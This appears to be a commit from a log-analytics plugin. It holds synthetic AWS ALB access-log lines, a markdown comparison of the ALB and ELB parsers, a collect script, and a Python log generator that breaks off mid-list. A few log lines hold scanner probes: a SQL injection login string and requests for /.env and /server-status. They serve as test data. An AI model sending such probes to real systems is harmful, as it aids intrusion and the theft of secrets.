2024-11-01T02:55:41.306561Z prod-api-alb 34.54.32.108:64026 10.0.248.210:443 0.062889 0.003027 0.002528 200 200 774 3581 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0bd-c7c131e6950646449219be2d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:55:41.306561Z "forward" "-" "-" "10.0.248.210:443" "200" "-" "-" +https 2024-11-01T02:55:42.194750Z prod-web-alb 156.196.207.59:35583 10.0.203.55:443 0.061719 0.077004 0.010095 404 404 303 7471 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0be-df51a72cbbf749688aec2f4a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:55:42.194750Z "forward" "-" "-" "10.0.203.55:443" "404" "-" "-" +https 2024-11-01T02:55:44.146498Z prod-api-alb 67.109.89.30:35384 10.0.81.72:443 0.001584 0.310440 0.007453 200 200 625 1083 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0c0-93e6c12e55654d498dda57f2" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:44.146498Z "forward" "-" "-" "10.0.81.72:443" "200" "-" "-" +https 2024-11-01T02:55:45.847955Z prod-api-alb 59.154.63.104:18072 10.0.204.125:443 0.092481 0.239635 0.093156 404 404 59 8019 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c1-6f458992151445789857c922" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:45.847955Z "forward" "-" "-" "10.0.204.125:443" "404" "-" "-" +https 2024-11-01T02:55:46.642847Z prod-api-alb 190.47.45.51:39937 10.0.27.86:443 0.063818 0.441006 0.018834 301 301 500 5404 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c2-256e66fd811e467aa9adc2e9" "-" "-" 5 2024-11-01T02:55:46.642847Z "forward" "-" "-" "10.0.27.86:443" "301" "-" "-" +https 2024-11-01T02:55:47.654412Z prod-web-alb 31.67.115.72:24127 10.0.219.117:443 0.024618 0.205878 0.091294 200 200 569 14705 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c3-cfd19f7f149942358b413b04" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:47.654412Z "forward" "-" "-" "10.0.219.117:443" "200" "-" "-" +https 2024-11-01T02:55:47.820395Z prod-api-alb 153.64.1.136:26806 10.0.17.51:443 0.014284 0.303725 0.082985 301 301 407 12485 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c3-2dff1f01621d4061964a20f1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:47.820395Z "forward" "-" "-" "10.0.17.51:443" "301" "-" "-" +https 2024-11-01T02:55:49.626377Z prod-api-alb 207.6.224.110:35130 10.0.116.66:443 0.042799 0.181418 0.077580 200 200 309 11589 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0c5-3a7f38cc0429495a9902b785" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:49.626377Z "forward" "-" "-" "10.0.116.66:443" "200" "-" "-" +https 2024-11-01T02:55:50.037229Z staging-alb 202.152.191.236:25279 85.120.59.183:80 0.120418 0.050784 0.037339 200 200 180 603 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0c6-616759a38c714fd8ad0c1368" "staging-alb.example.com" "-" 2 2024-11-01T02:55:50.037229Z "forward" "-" "-" "85.120.59.183:80" "200" "-" "-" +https 2024-11-01T02:55:51.231102Z prod-web-alb 162.5.4.29:26071 10.0.46.58:443 0.089779 0.196955 0.093224 200 200 173 5417 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c7-c82a2849edaf4ebb98f83f08" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:51.231102Z "forward" "-" "-" "10.0.46.58:443" "200" "-" "-" +http 2024-11-01T02:55:53.049788Z staging-alb 163.115.221.219:39336 229.185.12.106:8080 0.025034 0.523726 0.077519 200 200 255 7728 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0c9-7d9011ab1b1c4008983a89a0" "staging-alb.example.com" "-" 5 2024-11-01T02:55:53.049788Z "forward" "-" "-" "229.185.12.106:8080" "200" "-" "-" +https 2024-11-01T02:55:53.575382Z prod-web-alb 109.49.74.56:24594 10.0.150.1:443 0.061881 0.092911 0.045793 302 302 20 10764 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c9-648028eaaed448bebe23009b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:55:53.575382Z "forward" "-" "-" "10.0.150.1:443" "302" "-" "-" +https 2024-11-01T02:55:55.066764Z prod-web-alb 195.28.60.156:50224 10.0.220.156:443 0.062955 0.358208 0.050578 200 200 390 14920 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0cb-27235edfd1974385832b2639" "prod-web-alb.example.com" "-" 4 2024-11-01T02:55:55.066764Z "forward" "-" "-" "10.0.220.156:443" "200" "-" "-" +https 2024-11-01T02:55:56.828358Z prod-api-alb 193.27.228.155:35346 10.0.101.42:443 0.072134 0.269234 0.091768 403 403 171 6375 "GET /server-status HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0cc-c52578e46ead4785b7a02c6a" "-" "-" 4 2024-11-01T02:55:56.828358Z "forward" "-" "-" "10.0.101.42:443" "403" "-" "-" +http 2024-11-01T02:55:57.618082Z staging-alb 228.10.188.177:27181 213.19.89.48:443 0.074114 0.558158 0.026098 302 302 858 3087 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0cd-b3da1bf7aeac4fb1b6a2ebc4" "staging-alb.example.com" "-" 3 2024-11-01T02:55:57.618082Z "forward" "-" "-" "213.19.89.48:443" "302" "-" "-" +https 2024-11-01T02:55:57.726822Z staging-alb 185.181.58.110:52669 173.75.59.175:80 0.102345 0.206326 0.035016 500 500 67 2767 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0cd-4672ff13dd8649a98698691c" "-" "-" 8 2024-11-01T02:55:57.726822Z "forward" "-" "-" "173.75.59.175:80" "500" "-" "-" +https 2024-11-01T02:55:58.625085Z prod-api-alb 99.216.94.160:61186 10.0.227.155:443 0.007431 0.061101 0.020165 200 200 42 13000 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ce-0d09fe9582f349d087645914" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:58.625085Z "forward" "-" "-" "10.0.227.155:443" "200" "-" "-" +http 2024-11-01T02:56:00.372959Z staging-alb 130.26.62.196:15971 40.117.125.184:443 0.025658 0.319594 0.019473 301 301 76 649 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0d0-011a857f676141b0b43e348e" "staging-alb.example.com" "-" 0 2024-11-01T02:56:00.372959Z "forward" "-" "-" "40.117.125.184:443" "301" "-" "-" +https 2024-11-01T02:56:00.814225Z prod-api-alb 18.67.141.45:36901 10.0.251.20:443 0.080021 0.205511 0.024214 301 301 65 10497 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d0-663ad3b30f394186bf4dea47" "prod-api-alb.example.com" "-" 2 2024-11-01T02:56:00.814225Z "forward" "-" "-" "10.0.251.20:443" "301" "-" "-" +https 2024-11-01T02:56:02.462330Z prod-api-alb 79.224.204.48:44754 10.0.115.145:443 0.035262 0.016769 0.037756 200 200 586 8562 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d2-44f1ab69dd9b4ba1bc010d1c" "prod-api-alb.example.com" "-" 10 2024-11-01T02:56:02.462330Z "forward" "-" "-" "10.0.115.145:443" "200" "-" "-" +https 2024-11-01T02:56:03.150350Z prod-web-alb 16.181.78.131:10655 10.0.96.66:443 0.074213 0.274294 0.060015 404 404 120 13083 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d3-b3eac5e3c7084d9e9f6064db" "prod-web-alb.example.com" "-" 3 2024-11-01T02:56:03.150350Z "forward" "-" "-" "10.0.96.66:443" "404" "-" "-" +https 2024-11-01T02:56:03.316974Z prod-web-alb 190.121.62.145:14918 10.0.114.206:443 0.054830 0.327522 0.007028 302 302 294 3729 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d3-f35ca565806944569ad7c64a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:56:03.316974Z "forward" "-" "-" "10.0.114.206:443" "302" "-" "-" +https 2024-11-01T02:56:03.799378Z prod-api-alb 184.121.58.214:55392 10.0.155.89:443 0.013518 0.144536 0.032543 200 200 51 6471 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d3-5e8ad264d83a45c58be6df60" "prod-api-alb.example.com" "-" 8 2024-11-01T02:56:03.799378Z "forward" "-" "-" "10.0.155.89:443" "200" "-" "-" +https 2024-11-01T02:56:04.424839Z prod-web-alb 31.38.195.93:13968 10.0.241.151:443 0.036442 0.230203 0.016838 404 404 432 10371 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0d4-81013fb248bb4314b35cf436" "prod-web-alb.example.com" "-" 5 2024-11-01T02:56:04.424839Z "forward" "-" "-" "10.0.241.151:443" "404" "-" "-" +https 2024-11-01T02:56:05.029444Z prod-web-alb 49.46.124.12:53803 10.0.26.83:443 0.068876 0.140142 0.076774 302 302 71 7902 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0d5-61db64cf0a0e48e2a9f3cc39" "prod-web-alb.example.com" "-" 9 2024-11-01T02:56:05.029444Z "forward" "-" "-" "10.0.26.83:443" "302" "-" "-" +https 2024-11-01T02:56:05.463864Z prod-web-alb 216.77.208.17:34998 10.0.228.95:443 0.043787 0.013495 0.061109 404 404 542 1413 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d5-5f0d8de97dcd4315af3cb5b0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:56:05.463864Z "forward" "-" "-" "10.0.228.95:443" "404" "-" "-" +https 2024-11-01T02:56:07.197646Z prod-api-alb 222.60.0.67:25433 10.0.115.32:443 0.031828 0.295039 0.054099 200 200 526 473 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0d7-b9096e24783b4984b6f066c2" "-" "-" 8 2024-11-01T02:56:07.197646Z "forward" "-" "-" "10.0.115.32:443" "200" "-" "-" +https 2024-11-01T02:56:08.936732Z prod-api-alb 8.13.156.223:39128 10.0.250.231:443 0.006034 0.217198 0.094803 404 404 578 6288 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0d8-2fe9407a23b542d0a12a9e64" "prod-api-alb.example.com" "-" 1 2024-11-01T02:56:08.936732Z "forward" "-" "-" "10.0.250.231:443" "404" "-" "-" +https 2024-11-01T02:56:10.017821Z prod-web-alb 239.202.246.186:54833 10.0.41.227:443 0.093354 0.037302 0.036082 200 200 961 12276 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0da-a7725470cf3a4b5ca064b987" "prod-web-alb.example.com" "-" 5 2024-11-01T02:56:10.017821Z "forward" "-" "-" "10.0.41.227:443" "200" "-" "-" +https 2024-11-01T02:56:10.536043Z prod-web-alb 45.155.205.189:58417 10.0.32.161:443 0.074310 0.389855 0.026541 401 401 531 10002 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0da-dcbe48e19dbc414ea2c99bb6" "-" "-" 1 2024-11-01T02:56:10.536043Z "forward" "-" "-" "10.0.32.161:443" "401" "-" "-" +https 2024-11-01T02:56:11.594767Z prod-web-alb 14.143.220.225:20844 10.0.169.154:443 0.002099 0.382394 0.043540 404 404 377 9048 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0db-b1563c1baf68479a8ae3cda9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:56:11.594767Z "forward" "-" "-" "10.0.169.154:443" "404" "-" "-" +https 2024-11-01T02:56:13.101713Z staging-alb 185.181.47.127:34734 131.110.141.240:8080 0.143311 0.541892 0.140332 302 302 500 692 "POST /.env HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0dd-55dbf86c9c2741bfbadc44f6" "-" "-" 3 2024-11-01T02:56:13.101713Z "forward" "-" "-" "131.110.141.240:8080" "302" "-" "-" +https 2024-11-01T02:56:13.353389Z prod-api-alb 143.52.235.49:35102 10.0.81.56:443 0.030906 0.150607 0.011982 200 200 521 9848 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0dd-e5e2310b0f3b449992b91c63" "prod-api-alb.example.com" "-" 9 2024-11-01T02:56:13.353389Z "forward" "-" "-" "10.0.81.56:443" "200" "-" "-" +https 2024-11-01T02:56:14.787080Z prod-api-alb 132.81.228.232:55654 10.0.53.173:443 0.050066 0.494702 0.093263 200 200 849 6709 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0de-ba258ae4482b4b8880d5ba77" "prod-api-alb.example.com" "-" 6 2024-11-01T02:56:14.787080Z "forward" "-" "-" "10.0.53.173:443" "200" "-" "-" +https 2024-11-01T02:56:15.394180Z prod-api-alb 15.13.118.200:55525 10.0.85.223:443 0.086849 0.296612 0.073630 200 200 326 7192 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0df-cf07876be3204a2387818845" "prod-api-alb.example.com" "-" 5 2024-11-01T02:56:15.394180Z "forward" "-" "-" "10.0.85.223:443" "200" "-" "-" +https 2024-11-01T02:56:17.272371Z prod-web-alb 89.37.21.227:12596 10.0.232.165:443 0.011985 0.221200 0.050972 200 200 374 13660 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0e1-10d51d60d03448d7a64b5b86" "prod-web-alb.example.com" "-" 6 2024-11-01T02:56:17.272371Z "forward" "-" "-" "10.0.232.165:443" "200" "-" "-" +https 2024-11-01T02:56:18.697552Z prod-api-alb 67.23.223.18:33025 10.0.130.209:443 0.047627 0.066677 0.051965 302 302 821 7289 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0e2-7ad05a94782444df86134c84" "prod-api-alb.example.com" "-" 8 2024-11-01T02:56:18.697552Z "forward" "-" "-" "10.0.130.209:443" "302" "-" "-" diff --git a/test/alb-vs-elb.md b/test/alb-vs-elb.md new file mode 100644 index 00000000..d9a5bc3d --- /dev/null +++ b/test/alb-vs-elb.md @@ -0,0 +1,174 @@ +# ALB vs ELB Log Table Implementation Comparison + +## Structural Differences + +### Table Implementation + +```go +// ALB Implementation +type AlbAccessLogTable struct { + table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] +} + +// ELB Implementation +type ElbAccessLogTable struct { + table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] +} +``` + +### Configuration + +```go +// ALB Configuration is more extensive +type AlbAccessLogTableConfig struct { + Remain hcl.Body `hcl:",remain" json:"-"` + LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` + FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` + Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` +} + +// ELB Configuration is minimal +type ElbAccessLogTableConfig struct { +} +``` + +## Data Processing Differences + +### Parsing Approach + +#### ALB +- Uses custom mapper with detailed string parsing +- Handles quoted strings explicitly +- More flexible parsing logic for complex fields + +```go +func (m *AlbLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { + // Custom string parsing with quote handling + var fields []string + var currentField strings.Builder + inQuotes := false + + for _, char := range lineStr { + switch char { + case '"': + inQuotes = !inQuotes + case ' ': + if !inQuotes { + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + currentField.Reset() + } + } else { + currentField.WriteRune(char) + } + default: + currentField.WriteRune(char) + } + } + // ... field processing +} +``` + +#### ELB +- Uses generic delimited line mapper +- Relies on predefined format string +- Simpler but less flexible parsing + +```go +const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time...` + +func (c *ElbAccessLogTable) initMapper() { + c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) +} +``` + +## Field Handling Differences + +### ALB-Specific Fields +```go +type AlbAccessLog struct { + // ALB-specific fields + AlbName string `json:"alb_name"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` +} +``` + +### ELB-Specific Fields +```go +type ElbAccessLog struct { + // ELB-specific fields + Elb string `json:"elb"` + ConnTraceID string `json:"conn_trace_id"` +} +``` + +## Error Handling + +### ALB +- More detailed error handling with specific error messages +- Validation for complex field combinations +```go +if len(fields) < 27 { // Minimum required fields + return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) +} +``` + +### ELB +- Simpler error handling relying on delimiter mapper +- Less validation of field relationships + +## Enrichment Implementation + +### ALB +```go +func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { + // ALB-specific enrichment + if t.Connection != nil && t.Connection.DefaultRegion != nil { + row.TpIndex = *t.Connection.DefaultRegion + } else { + row.TpIndex = "unknown" + } + // ... other enrichment +} +``` + +### ELB +```go +func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { + // ELB-specific enrichment + row.TpPartition = c.Identifier() + if row.TpIndex == "" { + row.TpIndex = c.Identifier() + } + // ... other enrichment +} +``` + +## Key Differences Summary + +1. **Configuration Flexibility** + - ALB: More configurable with options for log format, file patterns, and timezone + - ELB: Minimal configuration, relies on fixed formats + +2. **Parsing Strategy** + - ALB: Custom parser with quote handling and flexible field extraction + - ELB: Uses generic delimiter-based parsing + +3. **Field Support** + - ALB: Supports newer fields like rule priority and classification + - ELB: Focuses on classic ELB fields + +4. **Error Handling** + - ALB: More comprehensive error checking and validation + - ELB: Basic error handling through delimiter mapper + +5. **Enrichment** + - ALB: Region-aware enrichment + - ELB: Basic identifier-based enrichment + +6. **Performance Implications** + - ALB: More CPU-intensive due to custom parsing + - ELB: Potentially faster due to simpler delimiter-based parsing \ No newline at end of file diff --git a/test/alb.sh b/test/alb.sh new file mode 100644 index 00000000..7ad78da6 --- /dev/null +++ b/test/alb.sh @@ -0,0 +1 @@ + TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test diff --git a/test/alb_generate.py b/test/alb_generate.py new file mode 100644 index 00000000..1140115d --- /dev/null +++ b/test/alb_generate.py @@ -0,0 +1,268 @@ +import random +from datetime import datetime, timedelta +import ipaddress +import uuid + +def generate_alb_logs(num_lines=10000, start_date=datetime(2024, 11, 1)): + # Define fixed ALB names for better analysis + alb_names = [ + "prod-web-alb", + "prod-api-alb", + "staging-alb" + ] + + # Target groups associated with specific ALBs + target_groups = { + "prod-web-alb": [ + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8", + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7" + ], + "prod-api-alb": [ + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1", + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2" + ], + "staging-alb": [ + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a", + "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f" + ] + } + + # Normal URLs mapped to specific ALBs + urls = { + "prod-web-alb": [ + '/assets/main.css', + '/images/logo.png', + '/cart', + '/checkout', + '/products' + ], + "prod-api-alb": [ + '/api/v1/products', + '/api/v1/orders', + '/api/v2/users', + '/api/health' + ], + "staging-alb": [ + '/api/v1/products', + '/web/test', + '/staging/health' + ] + } + + # Common legitimate user agents + user_agents = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0', + 'Python-urllib/3.8', + 'Apache-HttpClient/4.5.13 